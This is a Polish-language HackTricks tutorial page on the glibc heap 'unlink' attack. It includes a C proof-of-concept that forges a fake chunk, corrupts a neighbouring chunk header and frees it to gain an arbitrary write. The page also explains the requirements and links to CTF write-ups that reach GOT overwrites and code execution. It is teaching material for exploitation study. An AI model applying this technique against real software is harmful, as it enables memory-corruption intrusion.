hacktricks/binary-exploitation/heap/unlink-attack.md

9.8 KiB

Atak Unlink

Zacznij od zera i stań się ekspertem od hakowania AWS dzięki htARTE (HackTricks AWS Red Team Expert)!

Inne sposoby wsparcia HackTricks:

Podstawowe Informacje

Kiedy ten atak został odkryty, głównie pozwalał na WWW (Write What Where), jednak dodano sprawdzenia, co sprawiło, że nowa wersja ataku stała się bardziej interesująca, ale również bardziej złożona i bezużyteczna.

Przykład Kodu:

Kod ```c #include #include #include #include

// Altered from d778318b6a/assets/files/unlink_exploit.c to make it work

struct chunk_structure { size_t prev_size; size_t size; struct chunk_structure *fd; struct chunk_structure *bk; char buf[10]; // padding };

int main() { unsigned long long *chunk1, *chunk2; struct chunk_structure *fake_chunk, *chunk2_hdr; char data[20];

// First grab two chunks (non fast) chunk1 = malloc(0x8000); chunk2 = malloc(0x8000); printf("Stack pointer to chunk1: %p\n", &chunk1); printf("Chunk1: %p\n", chunk1); printf("Chunk2: %p\n", chunk2);

// Assuming attacker has control over chunk1's contents // Overflow the heap, override chunk2's header

// First forge a fake chunk starting at chunk1 // Need to setup fd and bk pointers to pass the unlink security check fake_chunk = (struct chunk_structure *)chunk1; fake_chunk->size = 0x8000; fake_chunk->fd = (struct chunk_structure *)(&chunk1 - 3); // Ensures P->fd->bk == P fake_chunk->bk = (struct chunk_structure *)(&chunk1 - 2); // Ensures P->bk->fd == P

// Next modify the header of chunk2 to pass all security checks chunk2_hdr = (struct chunk_structure *)(chunk2 - 2); chunk2_hdr->prev_size = 0x8000; // chunk1's data region size chunk2_hdr->size &= ~1; // Unsetting prev_in_use bit

// Now, when chunk2 is freed, attacker's fake chunk is 'unlinked' // This results in chunk1 pointer pointing to chunk1 - 3 // i.e. chunk1[3] now contains chunk1 itself. // We then make chunk1 point to some victim's data free(chunk2); printf("Chunk1: %p\n", chunk1); printf("Chunk1[3]: %x\n", chunk1[3]);

chunk1[3] = (unsigned long long)data;

strcpy(data, "Victim's data");

// Overwrite victim's data using chunk1 chunk1[0] = 0x002164656b636168LL;

printf("%s\n", data);

return 0; }

</details>

* Atak nie działa, jeśli są używane tcaches (po wersji 2.26)

### Cel

Ten atak pozwala **zmienić wskaźnik do fragmentu tak, aby wskazywał 3 adresy przed samym sobą**. Jeśli nowa lokalizacja (otoczenie, gdzie znajdował się wskaźnik) zawiera interesujące rzeczy, jak inne kontrolowalne alokacje / stos..., możliwe jest odczytanie/nadpisanie ich w celu spowodowania większej szkody.

* Jeśli ten wskaźnik znajdował się na stosie, ponieważ teraz wskazuje 3 adresy przed samym sobą, a użytkownik potencjalnie może go odczytać i zmodyfikować, będzie możliwe wyciek poufnych informacji ze stosu lub nawet zmodyfikowanie adresu powrotu (może) bez dotykania canary
* W przykładach CTF ten wskaźnik znajduje się w tablicy wskaźników do innych alokacji, dlatego, ustawiając go 3 adresy przed i mając możliwość odczytu i zapisu, można sprawić, że inne wskaźniki wskazują na inne adresy.\
Ponieważ potencjalnie użytkownik może również odczytywać/zapisywać inne alokacje, może ujawnić informacje lub nadpisać nowy adres w dowolnych lokalizacjach (np. w GOT).

### Wymagania

* Pewna kontrola w pamięci (np. stosie), aby utworzyć kilka fragmentów, nadając wartości niektórym atrybutom.
* Wyciek stosu w celu ustawienia wskaźników fałszywego fragmentu.

### Atak

* Istnieją dwa fragmenty (fragment1 i fragment2)
* Atakujący kontroluje zawartość fragmentu1 i nagłówki fragmentu2.
* W fragmencie1 atakujący tworzy strukturę fałszywego fragmentu:
* Aby ominąć zabezpieczenia, upewnia się, że pole `size` jest poprawne, aby uniknąć błędu: `corrupted size vs. prev_size while consolidating`
* a pola `fd` i `bk` fałszywego fragmentu wskazują tam, gdzie przechowywany jest wskaźnik fragmentu1 z przesunięciami odpowiednio -3 i -2, więc `fake_chunk->fd->bk` i `fake_chunk->bk->fd` wskazują na pozycję w pamięci (stosie), gdzie znajduje się rzeczywisty adres fragmentu1:

<figure><img src="../../.gitbook/assets/image (1245).png" alt=""><figcaption><p><a href="https://heap-exploitation.dhavalkapil.com/attacks/unlink_exploit">https://heap-exploitation.dhavalkapil.com/attacks/unlink_exploit</a></p></figcaption></figure>

* Nagłówki fragmentu2 są modyfikowane w taki sposób, aby wskazywały, że poprzedni fragment nie jest używany, a rozmiar to rozmiar zawartego fałszywego fragmentu.
* Gdy drugi fragment zostanie zwolniony, to następuje odłączenie tego fałszywego fragmentu:
* `fake_chunk->fd->bk` = `fake_chunk->bk`
* `fake_chunk->bk->fd` = `fake_chunk->fd`
* Wcześniej sprawiono, że `fake_chunk->fd->bk` i `fake_chunk->fd->bk` wskazywały na to samo miejsce (lokalizację na stosie, gdzie przechowywany był `fragment1`, więc był to poprawny lista połączona). Ponieważ **oba wskazują na tę samą lokalizację**, tylko ostatni (`fake_chunk->bk->fd = fake_chunk->fd`) będzie miał **skutek**.
* Spowoduje to **nadpisanie wskaźnika do fragmentu1 na stosie adresem (lub bajtami) przechowywanym 3 adresy wcześniej na stosie**.
* Dlatego jeśli atakujący mógłby ponownie kontrolować zawartość fragmentu1, będzie mógł **pisać wewnątrz stosu**, co pozwoli mu potencjalnie nadpisać adres powrotu, omijając canary, oraz modyfikować wartości i wskaźniki zmiennych lokalnych. Nawet ponownie modyfikując adres fragmentu1 przechowywany na stosie na inną lokalizację, jeśli atakujący mógłby ponownie kontrolować zawartość fragmentu1, będzie mógł pisać w dowolnym miejscu.
* Należy zauważyć, że było to możliwe, ponieważ **adresy są przechowywane na stosie**. Ryzyko i eksploatacja mogą zależeć od **miejsca, gdzie są przechowywane adresy do fałszywego fragmentu**.

<figure><img src="../../.gitbook/assets/image (1246).png" alt=""><figcaption><p><a href="https://heap-exploitation.dhavalkapil.com/attacks/unlink_exploit">https://heap-exploitation.dhavalkapil.com/attacks/unlink_exploit</a></p></figcaption></figure>

## Referencje

* [https://heap-exploitation.dhavalkapil.com/attacks/unlink\_exploit](https://heap-exploitation.dhavalkapil.com/attacks/unlink\_exploit)
* Chociaż byłoby dziwne znalezienie ataku unlink nawet w CTF, tutaj znajdziesz kilka rozwiązań, gdzie ten atak był używany:
* Przykład CTF: [https://guyinatuxedo.github.io/30-unlink/hitcon14\_stkof/index.html](https://guyinatuxedo.github.io/30-unlink/hitcon14\_stkof/index.html)
* W tym przykładzie zamiast stosu jest tablica adresów zaalokowanych za pomocą malloc. Atak unlink jest wykonywany, aby móc zaalokować fragment tutaj, umożliwiając kontrolę wskaźników tablicy zaalokowanych adresów. Następnie istnieje inna funkcjonalność, która pozwala modyfikować zawartość fragmentów w tych adresach, co pozwala wskazywać adresy na GOT, modyfikować adresy funkcji w celu uzyskania wycieków i RCE.
* Kolejny przykład CTF: [https://guyinatuxedo.github.io/30-unlink/zctf16\_note2/index.html](https://guyinatuxedo.github.io/30-unlink/zctf16\_note2/index.html)
* Tak jak w poprzednim przykładzie, istnieje tablica adresów alokacji. Możliwe jest wykonanie ataku unlink, aby sprawić, że adres pierwszej alokacji wskazuje kilka pozycji przed rozpoczęciem tablicy i nadpisać tę alokację na nowej pozycji. Dlatego możliwe jest nadpisanie wskaźników innych alokacji, aby wskazywały na GOT atoi, uzyskać wyciek libc, a następnie nadpisać atoi GOT adresem do jednego gadżetu.

<details>

<summary><strong>Naucz się hakować AWS od zera do bohatera z</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>

Inne sposoby wsparcia HackTricks:

* Jeśli chcesz zobaczyć swoją **firmę reklamowaną w HackTricks** lub **pobrać HackTricks w formacie PDF** sprawdź [**PLANY SUBSKRYPCYJNE**](https://github.com/sponsors/carlospolop)!
* Zdobądź [**oficjalne gadżety PEASS & HackTricks**](https://peass.creator-spring.com)
* Odkryj [**Rodzinę PEASS**](https://opensea.io/collection/the-peass-family), naszą kolekcję ekskluzywnych [**NFT**](https://opensea.io/collection/the-peass-family)
* **Dołącz do** 💬 [**grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegramowej**](https://t.me/peass) lub **śledź** nas na **Twitterze** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Podziel się swoimi sztuczkami hakerskimi, przesyłając PR-y do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.

</details>